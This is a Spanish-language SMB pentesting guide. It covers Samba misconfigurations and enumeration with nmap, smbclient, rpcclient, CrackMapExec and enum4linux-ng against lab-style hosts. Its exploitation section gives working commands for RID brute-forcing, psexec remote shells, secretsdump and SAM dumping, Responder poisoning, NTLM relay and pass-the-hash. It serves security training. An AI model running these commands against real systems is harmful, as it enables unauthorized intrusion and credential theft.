Skip to content

SMB (Server Message Block)

Server Message Block (SMB) es un protocolo cliente-servidor que regula el acceso a archivos y directorios completos y a otros recursos de red como impresoras, routers o interfaces liberadas para la red. El intercambio de información entre distintos procesos del sistema también puede gestionarse basándose en el protocolo SMB. SMB se puso por primera vez a disposición de un público más amplio, por ejemplo, como parte del sistema operativo de red OS/2 LAN Manager y LAN Server. Desde entonces, la principal área de aplicación del protocolo ha sido la serie de sistemas operativos Windows en particular, cuyos servicios de red soportan SMB de forma compatible con versiones anteriores, lo que significa que los dispositivos con ediciones más recientes pueden comunicarse fácilmente con dispositivos que tengan instalado un sistema operativo Microsoft más antiguo. Con el proyecto de software libre Samba, también existe una solución que permite el uso de SMB en distribuciones Linux y Unix, y por tanto la comunicación multiplataforma a través de SMB.

Configuración de recursos compartidos (Samba)

Vemos la configuración global y algunos recursos compartidos. Los ajustes globales son la configuración del servidor SMB que se aplica a todos los recursos compartidos. En los recursos compartidos individuales, sin embargo, se pueden sobrescribir los ajustes globales, lo cual, con alta probabilidad, también se puede configurar incorrectamente. Veamos algunos de los ajustes para entender cómo se configuran los recursos compartidos en Samba.

ConfiguraciónDescripción
[sharename]El nombre del recurso compartido de red.
workgroup = WORKGROUP/DOMAINGrupo de trabajo que aparecerá cuando los clientes consulten.
path = /path/here/El directorio al que se le dará acceso al usuario.
server string = STRINGLa cadena que aparecerá cuando se inicie una conexión.
unix password sync = yes¿Sincronizar la contraseña de UNIX con la contraseña de SMB?
usershare allow guests = yes¿Permitir que los usuarios no autenticados accedan al recurso compartido definido?
map to guest = bad user¿Qué hacer cuando la solicitud de inicio de sesión de un usuario no coincide con un usuario UNIX válido?
browseable = yes¿Esta acción debería aparecer en la lista de acciones disponibles?
guest ok = yes¿Permitir conectarse al servicio sin usar contraseña?
read only = yes¿Permitir a los usuarios leer solo archivos?
create mask = 0700¿Qué permisos se deben establecer para los archivos recién creados?

Configuraciones peligrosas

ConfiguraciónDescripción
browseable = yes¿Permitir listar acciones disponibles en la acción actual?
read only = no¿Prohibir la creación y modificación de archivos?
writable = yes¿Permitir a los usuarios crear y modificar archivos?
guest ok = yes¿Permitir conectarse al servicio sin usar contraseña?
enable privileges = yes¿Respetar los privilegios asignados a un SID específico?
create mask = 0777¿Qué permisos se deben asignar a los archivos recién creados?
directory mask = 0777¿Qué permisos se deben asignar a los directorios recién creados?
logon script = script.sh¿Qué script debe ejecutarse al iniciar sesión el usuario?
magic script = script.sh¿Qué script debe ejecutarse cuando se cierra el script?
magic output = script.out¿Dónde se debe almacenar la salida del script mágico?

Cualquier combinación de guest ok = yes + writable = yes + browseable = yes en un share es una configuración de alto riesgo: permite listar, leer y escribir archivos sin autenticación.

Nmap - Descubrimiento inicial de SMB

Antes de usar herramientas específicas, conviene identificar el servicio y su versión con nmap:

c
❯ nmap -p139,445 -sV --script smb-os-discovery,smb-enum-shares,smb-enum-users,smb-security-mode 172.16.56.10
  • smb-os-discovery : revela el sistema operativo, nombre NetBIOS y dominio/workgroup.
  • smb-enum-shares : lista los recursos compartidos disponibles.
  • smb-enum-users : intenta enumerar usuarios del sistema.
  • smb-security-mode : indica si la firma de mensajes SMB (signing) es requerida u opcional (relevante para ataques de relay).

Script para comprobar vulnerabilidades conocidas (EternalBlue, MS17-010, etc.):

c
❯ nmap -p445 --script smb-vuln-ms17-010,smb-vuln-cve-2017-7494 172.16.56.10

Escaneo de un rango completo para descubrir hosts con SMB/NetBIOS

El puerto 139 (NetBIOS) y el puerto 445 (SMB) son protocolos distintos, pero suelen ir habilitados juntos por compatibilidad hacia atrás, por lo que conviene enumerarlos en conjunto. Para descubrir qué hosts de una red tienen estos puertos abiertos, se puede escanear el rango completo y guardar la salida en formato "greppable":

c
❯ nmap -v -p 139,445 -oG smb.txt 172.16.56.0/24

❯ cat smb.txt

# Nmap 7.92 scan initiated Thu Mar 17 06:03:12 2022 as: nmap -v -p 139,445 -oG smb.txt 172.16.56.0/24
# Ports scanned: TCP(2;139,445) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 172.16.56.1 ()	Status: Down
...
Host: 172.16.56.21 ()	Status: Up
Host: 172.16.56.21 ()	Ports: 139/closed/tcp//netbios-ssn///, 445/closed/tcp//microsoft-ds///
...
Host: 172.16.56.217 ()	Status: Up
Host: 172.16.56.217 ()	Ports: 139/closed/tcp//netbios-ssn///, 445/closed/tcp//microsoft-ds///
# Nmap done at Thu Mar 17 06:03:18 2022 -- 254 IP addresses (15 hosts up) scanned in 6.17 seconds
  • El formato greppable (-oG) facilita filtrar rápidamente con grep/cut los hosts que tienen el puerto abierto, sin tener que parsear la salida normal de Nmap.

Nbtscan - Enumeración específica de NetBIOS

Para identificar información de NetBIOS de forma más específica que con Nmap, existe nbtscan. Consulta el servicio de nombres NetBIOS (UDP/137) para obtener nombres NetBIOS válidos:

c
❯ sudo nbtscan -r 172.16.56.0/24

Doing NBT name scan for addresses from 172.16.56.0/24

IP address       NetBIOS Name     Server    User             MAC address
------------------------------------------------------------------------------
172.16.56.124    SAMBA            <server>  SAMBA            00:00:00:00:00:00
172.16.56.134    SAMBAWEB         <server>  SAMBAWEB         00:00:00:00:00:00
...
  • -r : especifica el puerto UDP de origen 137 para la consulta (necesario en algunos entornos donde el servidor solo responde a ese puerto de origen específico).
  • Los nombres NetBIOS suelen ser bastante descriptivos sobre el rol del host dentro de la organización (por ejemplo, SAMBAWEB sugiere un servidor web), lo cual retroalimenta el ciclo de reconocimiento con nueva información a investigar.

Scripts NSE de SMB disponibles

Nmap incluye una gran cantidad de scripts NSE dedicados específicamente a SMB, ubicados en /usr/share/nmap/scripts/:

c
❯ ls -1 /usr/share/nmap/scripts/smb*

/usr/share/nmap/scripts/smb2-capabilities.nse
/usr/share/nmap/scripts/smb2-security-mode.nse
/usr/share/nmap/scripts/smb2-time.nse
/usr/share/nmap/scripts/smb2-vuln-uptime.nse
/usr/share/nmap/scripts/smb-brute.nse
/usr/share/nmap/scripts/smb-double-pulsar-backdoor.nse
/usr/share/nmap/scripts/smb-enum-domains.nse
/usr/share/nmap/scripts/smb-enum-groups.nse
/usr/share/nmap/scripts/smb-enum-processes.nse
/usr/share/nmap/scripts/smb-enum-sessions.nse
/usr/share/nmap/scripts/smb-enum-shares.nse
/usr/share/nmap/scripts/smb-enum-users.nse
/usr/share/nmap/scripts/smb-os-discovery.nse
...

Ejemplo con smb-os-discovery contra un host unido a dominio, mostrando información de Active Directory (dominio, forest, FQDN) que no se obtiene con el fingerprinting de OS tradicional (-O):

c
❯ nmap -v -p 139,445 --script smb-os-discovery 172.16.56.20

...
PORT    STATE SERVICE      REASON
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2019::-
|   Computer name: fileserver02
|   NetBIOS computer name: FILESERVER02\x00
|   Domain name: corp.internal
|   Forest name: corp.internal
|   FQDN: fileserver02.corp.internal
|_  System time: 2024-11-08T09:21:47-05:00
...
  • Nota: este script solo funciona si el objetivo tiene SMBv1 habilitado, algo que ya no viene por defecto en versiones modernas de Windows, pero que sigue siendo común encontrar en sistemas legacy.
  • La detección de OS por este método puede ser imprecisa (el fingerprint podría corresponder en realidad a una build distinta o incluso a otra edición del sistema operativo) — como con cualquier fingerprinting, conviene tomarlo como una pista y no como un hecho confirmado.
  • A diferencia del fingerprinting tradicional de Nmap (-O), esta vía vía SMB aporta información extra específica de Active Directory (dominio, forest) y genera menos tráfico, por lo que suele pasar más desapercibida en el tráfico normal de una red corporativa.

SMBclient - Conexión al recurso compartido

Listar los recursos compartidos disponibles sin autenticación (sesión nula):

c
❯ smbclient -N -L //172.16.56.10

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        home            Disk      DOMAIN Samba
        dev             Disk      DEVenv
        notes           Disk      CheckIT
        IPC$            IPC       IPC Service (FILESRV01)
SMB1 disabled -- no workgroup available
  • -N : no pedir contraseña (sesión nula).
  • -L : lista los recursos ("shares") del host indicado.

Conectarse a un recurso compartido específico:

c
❯ smbclient //172.16.56.10/notes

Enter WORKGROUP\<username>'s password: 
Anonymous login successful
Try "help" to get a list of possible commands.

smb: \> help

Conectarse indicando usuario, dominio y forzando la versión del protocolo (útil si el servidor solo acepta SMBv1):

c
❯ smbclient //172.16.56.10/notes -U jsmith --option="client min protocol=NT1"

Descargar archivos desde SMB

c
smb: \> get prep-prod.txt 

getting file \prep-prod.txt of size 71 as prep-prod.txt (8,7 KiloBytes/sec) 
(average 8,7 KiloBytes/sec)

smb: \> !ls

prep-prod.txt

smb: \> !cat prep-prod.txt

[] check your code with the templates
[] run code-assessment.py
[]
  • El prefijo ! ejecuta el comando en la máquina local (no en el servidor SMB), útil para listar/leer lo ya descargado sin salir de la sesión.

Descargar todos los archivos de un recurso de forma recursiva:

c
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Subir un archivo

c
smb: \> put testupload.txt

RPCclient

c
❯ rpcclient -U "" 172.16.56.10

Enter WORKGROUP\'s password:
rpcclient $>
QueryDescripción
srvinfoInformación del servidor.
enumdomainsEnumera todos los dominios desplegados en la red.
querydominfoProporciona información de dominio, servidor y usuarios de los dominios desplegados.
netshareenumallEnumera todos los recursos compartidos disponibles.
netsharegetinfo <share>Proporciona información sobre un recurso compartido específico.
enumdomusersEnumera todos los usuarios del dominio.
queryuser <RID>Proporciona información sobre un usuario específico.
querygroup <RID>Proporciona información sobre un grupo específico.
enumdomgroupsEnumera todos los grupos del dominio.
lookupnames <usuario>Obtiene el SID a partir de un nombre de usuario.
lsaenumsidEnumera los SIDs conocidos por el sistema.

RPCclient - Enumeración general

c
rpcclient $> srvinfo

        FILESRV01      Wk Sv PrQ Unx NT SNT DEVSM
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03
		
		
rpcclient $> enumdomains

name:[FILESRV01] idx:[0x0]
name:[Builtin] idx:[0x1]


rpcclient $> querydominfo

Domain:         CORPDOMAIN
Server:         FILESRV01
Comment:        DEVSM
Total Users:    2
Total Groups:   0
Total Aliases:  0
Sequence No:    1632361158
Force Logoff:   -1
Domain Server State:    0x1
Server Role:    ROLE_DOMAIN_PDC
Unknown 3:      0x1


rpcclient $> netshareenumall

netname: print$
        remark: Printer Drivers
        path:   C:\var\lib\samba\printers
        password:
netname: home
        remark: DOMAIN Samba
        path:   C:\home\
        password:
netname: dev
        remark: DEVenv
        path:   C:\home\sambauser\dev\
        password:
netname: notes
        remark: CheckIT
        path:   C:\mnt\notes\
        password:
netname: IPC$
        remark: IPC Service (DEVSM)
        path:   C:\tmp
        password:
		
		
rpcclient $> netsharegetinfo notes

netname: notes
        remark: CheckIT
        path:   C:\mnt\notes\
        password:
        type:   0x0
        perms:  0
        max_uses:       -1
        num_uses:       1
revision: 1
type: 0x8004: SEC_DESC_DACL_PRESENT SEC_DESC_SELF_RELATIVE 
DACL
        ACL     Num ACEs:       1       revision:       2
        ---
        ACE
                type: ACCESS ALLOWED (0) flags: 0x00 
                Specific bits: 0x1ff
                Permissions: 0x101f01ff: Generic all access SYNCHRONIZE_ACCESS WRITE_OWNER_ACCESS WRITE_DAC_ACCESS READ_CONTROL_ACCESS DELETE_ACCESS 
                SID: S-1-1-0

RPCclient - Enumeración de usuarios

c
rpcclient $> enumdomusers

user:[jsmith] rid:[0x3e8]
user:[agarcia] rid:[0x3e9]


rpcclient $> queryuser 0x3e9

        User Name   :   agarcia
        Full Name   :   agarcia
        Home Drive  :   \\filesrv01\agarcia
        Dir Drive   :
        Profile Path:   \\filesrv01\agarcia\profile
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Do, 01 Jan 1970 01:00:00 CET
        Logoff Time              :      Mi, 06 Feb 2036 16:06:39 CET
        Kickoff Time             :      Mi, 06 Feb 2036 16:06:39 CET
        Password last set Time   :      Mi, 22 Sep 2021 17:50:56 CEST
        Password can change Time :      Mi, 22 Sep 2021 17:50:56 CEST
        Password must change Time:      Do, 14 Sep 30828 04:48:05 CEST
        unknown_2[0..31]...
        user_rid :      0x3e9
        group_rid:      0x201
        acb_info :      0x00000014
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000000
        padding1[0..7]...
        logon_hrs[0..21]...


rpcclient $> queryuser 0x3e8

        User Name   :   jsmith
        Full Name   :
        Home Drive  :   \\filesrv01\jsmith
        Dir Drive   :
        Profile Path:   \\filesrv01\jsmith\profile
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Do, 01 Jan 1970 01:00:00 CET
        Logoff Time              :      Mi, 06 Feb 2036 16:06:39 CET
        Kickoff Time             :      Mi, 06 Feb 2036 16:06:39 CET
        Password last set Time   :      Mi, 22 Sep 2021 17:47:59 CEST
        Password can change Time :      Mi, 22 Sep 2021 17:47:59 CEST
        Password must change Time:      Do, 14 Sep 30828 04:48:05 CEST
        unknown_2[0..31]...
        user_rid :      0x3e8
        group_rid:      0x201
        acb_info :      0x00000010
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000000
        padding1[0..7]...
        logon_hrs[0..21]...

RPCclient - Información de grupos

c
rpcclient $> querygroup 0x201

        Group Name:     None
        Description:    Ordinary Users
        Group Attribute:7
        Num Members:2

Fuerza bruta de RIDs de usuario

Cuando enumdomusers está deshabilitado pero la sesión nula sigue permitiendo queryuser, se pueden enumerar usuarios probando RIDs comunes uno por uno:

c
for i in $(seq 500 1100);do rpcclient -N -U "" 172.16.56.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

        User Name   :   sambauser
        user_rid :      0x1f5
        group_rid:      0x201
		
        User Name   :   jsmith
        user_rid :      0x3e8
        group_rid:      0x201
		
        User Name   :   agarcia
        user_rid :      0x3e9
        group_rid:      0x201

Impacket - samrdump.py

c
❯ samrdump.py 172.16.56.10

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Retrieving endpoint list from 172.16.56.10
Found domain(s):
 . FILESRV01
 . Builtin
[*] Looking up users in domain FILESRV01
Found user: jsmith, uid = 1000
Found user: agarcia, uid = 1001
jsmith (1000)/FullName: 
jsmith (1000)/UserComment: 
jsmith (1000)/PrimaryGroupId: 513
jsmith (1000)/BadPasswordCount: 0
jsmith (1000)/LogonCount: 0

Otras herramientas útiles de Impacket para SMB:

c
❯ psexec.py CORPDOMAIN/jsmith:'password'@172.16.56.10
❯ smbexec.py CORPDOMAIN/jsmith:'password'@172.16.56.10
❯ secretsdump.py CORPDOMAIN/jsmith:'password'@172.16.56.10
  • psexec.py / smbexec.py : obtienen una shell remota vía SMB (requieren credenciales válidas con privilegios administrativos).
  • secretsdump.py : vuelca hashes de credenciales locales (SAM) o del NTDS.dit si se ejecuta contra un DC.

SMBmap

c
❯ smbmap -H 172.16.56.10

[+] Finding open SMB ports....
[+] User SMB session established on 172.16.56.10...
[+] IP: 172.16.56.10:445       Name: 172.16.56.10                                     
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        home                                                    NO ACCESS       DOMAIN Samba
        dev                                                     NO ACCESS       DEVenv
        notes                                                   NO ACCESS       CheckIT
        IPC$                                                    NO ACCESS       IPC Service (DEVSM)

Otras opciones útiles de smbmap:

c
❯ smbmap -H 172.16.56.10 -u jsmith -p 'password' -r notes
❯ smbmap -H 172.16.56.10 -u jsmith -p 'password' --download 'notes\prep-prod.txt'
❯ smbmap -H 172.16.56.10 -u jsmith -p 'password' -x 'ipconfig'
  • -r : lista recursivamente el contenido de un share.
  • --download : descarga un archivo específico directamente.
  • -x : ejecuta un comando remoto (requiere permisos administrativos).

CrackMapExec

Enumerar shares con sesión nula:

c
❯ crackmapexec smb 172.16.56.10 --shares -u '' -p ''

SMB         172.16.56.10   445    FILESRV01        [*] Windows 6.1 Build 0 (name:FILESRV01) (domain:) (signing:False) (SMBv1:False)
SMB         172.16.56.10   445    FILESRV01        [+] \: 
SMB         172.16.56.10   445    FILESRV01        [+] Enumerated shares
SMB         172.16.56.10   445    FILESRV01        Share           Permissions     Remark
SMB         172.16.56.10   445    FILESRV01        -----           -----------     ------
SMB         172.16.56.10   445    FILESRV01        print$                          Printer Drivers
SMB         172.16.56.10   445    FILESRV01        home                            DOMAIN Samba
SMB         172.16.56.10   445    FILESRV01        dev                             DEVenv
SMB         172.16.56.10   445    FILESRV01        notes           READ,WRITE      CheckIT
SMB         172.16.56.10   445    FILESRV01        IPC$                            IPC Service (DEVSM)

Otros usos frecuentes de CrackMapExec sobre SMB:

c
❯ crackmapexec smb 172.16.56.10 -u '' -p '' --users
❯ crackmapexec smb 172.16.56.10 -u '' -p '' --pass-pol
❯ crackmapexec smb 172.16.56.10 -u jsmith -p 'password' --sam
❯ crackmapexec smb 172.16.56.10 -u jsmith -p 'password' -x 'whoami'
  • --users : enumera usuarios del dominio/local.
  • --pass-pol : muestra la política de contraseñas (útil antes de un ataque de fuerza bruta o password spraying).
  • --sam : vuelca el SAM local (requiere credenciales administrativas).
  • -x : ejecuta un comando remoto vía WMI/SMB.

Enum4linux-ng

c
❯ ./enum4linux-ng.py 172.16.56.10 -A

ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 172.16.56.10
[*] Username ......... ''
[*] Random Username .. 'juzgtcsu'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 =====================================
|    Service Scan on 172.16.56.10    |
 =====================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 =====================================================
|    NetBIOS Names and Workgroup for 172.16.56.10    |
 =====================================================
[+] Got domain/workgroup name: CORPDOMAIN
[+] Full NetBIOS names information:
- FILESRV01       <00> -         H <ACTIVE>  Workstation Service
- FILESRV01       <03> -         H <ACTIVE>  Messenger Service
- FILESRV01       <20> -         H <ACTIVE>  File Server Service
- ..__MSBROWSE__. <01> - <GROUP> H <ACTIVE>  Master Browser
- CORPDOMAIN      <00> - <GROUP> H <ACTIVE>  Domain/Workgroup Name
- CORPDOMAIN      <1d> -         H <ACTIVE>  Master Browser
- CORPDOMAIN      <1e> - <GROUP> H <ACTIVE>  Browser Service Elections
- MAC Address = 00-00-00-00-00-00

 ==========================================
|    SMB Dialect Check on 172.16.56.10    |
 ==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB1 only: false
Preferred dialect: SMB 3.0
SMB signing required: false

 ==========================================
|    RPC Session Check on 172.16.56.10    |
 ==========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user session
[+] Server allows session using username 'juzgtcsu', password ''
[H] Rerunning enumeration with user 'juzgtcsu' might give more results

 ====================================================
|    Domain Information via RPC for 172.16.56.10    |
 ====================================================
[+] Domain: CORPDOMAIN
[+] SID: NULL SID
[+] Host is part of a workgroup (not a domain)

 ============================================================
|    Domain Information via SMB session for 172.16.56.10    |
 ============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: FILESRV01
NetBIOS domain name: ''
DNS domain: ''
FQDN: corp.local

 ================================================
|    OS Information via RPC for 172.16.56.10    |
 ================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 7, Windows Server 2008 R2
OS version: '6.1'
OS release: ''
OS build: '0'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x809a03'
Server type string: Wk Sv PrQ Unx NT SNT DEVSM

 ======================================
|    Users via RPC on 172.16.56.10    |
 ======================================
[*] Enumerating users via 'querydispinfo'
[+] Found 2 users via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 2 users via 'enumdomusers'
[+] After merging user results we have 2 users total:
'1000':
  username: jsmith
  name: ''
  acb: '0x00000010'
  description: ''
'1001':
  username: agarcia
  name: agarcia
  acb: '0x00000014'
  description: ''

 =======================================
|    Groups via RPC on 172.16.56.10    |
 =======================================
[*] Enumerating local groups
[+] Found 0 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 0 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 0 group(s) via 'enumdomgroups'

 =======================================
|    Shares via RPC on 172.16.56.10    |
 =======================================
[*] Enumerating shares
[+] Found 5 share(s):
IPC$:
  comment: IPC Service (DEVSM)
  type: IPC
dev:
  comment: DEVenv
  type: Disk
home:
  comment: DOMAIN Samba
  type: Disk
notes:
  comment: CheckIT
  type: Disk
print$:
  comment: Printer Drivers
  type: Disk
[*] Testing share IPC$
[-] Could not check share: STATUS_OBJECT_NAME_NOT_FOUND
[*] Testing share dev
[-] Share doesn't exist
[*] Testing share home
[+] Mapping: OK, Listing: OK
[*] Testing share notes
[+] Mapping: OK, Listing: OK
[*] Testing share print$
[+] Mapping: DENIED, Listing: N/A

 ==========================================
|    Policies via RPC for 172.16.56.10    |
 ==========================================
[*] Trying port 445/tcp
[+] Found policy:
domain_password_information:
  pw_history_length: None
  min_pw_length: 5
  min_pw_age: none
  max_pw_age: 49710 days 6 hours 21 minutes
  pw_properties:
  - DOMAIN_PASSWORD_COMPLEX: false
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
domain_lockout_information:
  lockout_observation_window: 30 minutes
  lockout_duration: 30 minutes
  lockout_threshold: None
domain_logoff_information:
  force_logoff_time: 49710 days 6 hours 21 minutes

 ==========================================
|    Printers via RPC for 172.16.56.10    |
 ==========================================
[+] No printers returned (this is not an error)

Completed after 0.61 seconds
  • La política de contraseñas mostrada (longitud mínima de 5, sin complejidad, sin bloqueo por intentos) es un ejemplo de configuración débil que facilitaría un ataque de fuerza bruta o password spraying.
  • min_pw_length: 5 y DOMAIN_PASSWORD_COMPLEX: false en un entorno real serían un hallazgo a reportar.

SMB desde un cliente Windows (net view)

Toda la enumeración vista hasta ahora es desde Kali/Linux. En un escenario donde solo se dispone de un host Windows (por ejemplo, tras obtener un primer acceso), net view es una herramienta nativa útil para listar recursos compartidos: lista dominios, recursos y equipos pertenecientes a un host dado.

Ejemplo conectado a un equipo cliente (client01), listando los shares de un controlador de dominio (dc01):

c
C:\Users\student>net view \\dc01 /all

Shared resources at \\dc01

Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
ADMIN$      Disk           Remote Admin
C$          Disk           Default share
IPC$        IPC            Remote IPC
NETLOGON    Disk           Logon server share
SYSVOL      Disk           Logon server share
The command completed successfully.
  • /all : incluye también los recursos administrativos ocultos (los que terminan en $, como ADMIN$, C$, IPC$), que no aparecen con un net view normal sin esa opción.
  • NETLOGON y SYSVOL son shares característicos de un controlador de dominio de Active Directory — su presencia confirma que el host es un DC.
  • Es una alternativa "living off the land" a smbclient/crackmapexec cuando no se dispone de herramientas de Kali en el host desde el que se está enumerando.

Montar un recurso compartido (Linux)

Para explorar el contenido de un share como si fuera una carpeta local:

c
❯ sudo mount -t cifs -o username=jsmith,password=password //172.16.56.10/notes /mnt/smb

Con sesión nula (sin credenciales):

c
❯ sudo mount -t cifs -o guest //172.16.56.10/notes /mnt/smb

Explotación adicional

Responder - Captura de hashes NTLM (LLMNR/NBT-NS poisoning)

Cuando un cliente Windows no puede resolver un nombre por DNS, suele intentarlo por LLMNR/NBT-NS, protocolos de resolución por broadcast que cualquier host en la red puede responder. Responder se hace pasar por el recurso solicitado y captura el hash NTLMv2 del usuario que intenta autenticarse:

c
❯ sudo responder -I eth0
  • -I : interfaz de red en la que escuchar/envenenar.
  • Los hashes capturados quedan en /usr/share/responder/logs/ y pueden crackearse offline con hashcat (modo 5600 para NTLMv2) o usarse directamente en un relay (ver siguiente punto).

Relay de autenticación NTLM con ntlmrelayx

En vez de crackear el hash capturado, se puede "reenviar" (relay) la autenticación en tiempo real hacia otro host que no tenga SMB signing habilitado, obteniendo acceso sin necesidad de conocer la contraseña:

c
❯ sudo responder -I eth0 --lm -w
❯ sudo ntlmrelayx.py -tf targets.txt -smb2support
  • targets.txt : lista de IPs (hosts sin SMB signing forzado) hacia donde reenviar la autenticación capturada.
  • Si el usuario relayado tiene privilegios administrativos en el target, ntlmrelayx.py puede volcar el SAM directamente o dejar una shell, sin haber crackeado ninguna contraseña.
  • Este ataque es la razón principal por la que smb-security-mode (visto en el escaneo inicial) es un dato tan relevante: si el signing no es obligatorio, la red es vulnerable a este vector.

Pass-the-Hash (autenticación sin contraseña en texto plano)

Si ya se dispone de un hash NTLM (por ejemplo, volcado con secretsdump.py), se puede autenticar directamente sin necesidad de crackearlo:

c
❯ crackmapexec smb 172.16.56.10 -u jsmith -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
c
❯ psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c CORPDOMAIN/jsmith@172.16.56.10
  • -H / -hashes : formato LM:NT (la parte LM suele ir vacía/con el hash por defecto si no se usa ese esquema, como en el ejemplo).
  • Esto es posible porque NTLM autentica con el hash directamente, no con la contraseña en texto plano — de ahí el nombre de la técnica.

NetExec (sucesor de CrackMapExec)

CrackMapExec dejó de mantenerse activamente; su sucesor directo, con la misma sintaxis general, es NetExec (nxc):

c
❯ nxc smb 172.16.56.10 -u '' -p '' --shares
❯ nxc smb 172.16.56.10 -u jsmith -p 'password' -M spider_plus
  • -M spider_plus : módulo que recorre recursivamente todos los shares accesibles y genera un inventario de archivos — útil para identificar rápidamente dónde puede haber información sensible sin tener que navegar cada share a mano.

Scripts NSE adicionales para vulnerabilidades críticas de SMB

c
❯ nmap -p445 --script smb-vuln-ms08-067 172.16.56.10
❯ nmap -p445 --script smb-vuln-cve-2020-1472 172.16.56.10
  • smb-vuln-ms08-067 : vulnerabilidad crítica de ejecución remota de código (2008), aún relevante en sistemas legacy sin parchear.
  • smb-vuln-cve-2020-1472 (Zerologon) : permite a un atacante no autenticado tomar control total de un controlador de dominio explotando una falla en el protocolo Netlogon — una de las vulnerabilidades más críticas descubiertas en Active Directory en los últimos años.

Descarga masiva con smbclient en modo tar

Alternativa a mget * para descargar un share completo en un solo paso, empaquetado:

c
❯ smbclient //172.16.56.10/notes -U jsmith -c 'tarmode full;recurse;get *' -Tc backup.tar

Resumen rápido de enumeración SMB

c
❯ nmap -p139,445 -sV --script smb-os-discovery,smb-enum-shares 172.16.56.10
❯ smbclient -N -L //172.16.56.10
❯ enum4linux-ng.py -A 172.16.56.10
❯ crackmapexec smb 172.16.56.10 -u '' -p '' --shares --users --pass-pol

Este flujo cubre: descubrimiento del servicio, listado de shares, enumeración de usuarios/política de contraseñas y detección de sesiones nulas o de invitado permitidas — que suelen ser el punto de entrada más común en máquinas con SMB mal configurado.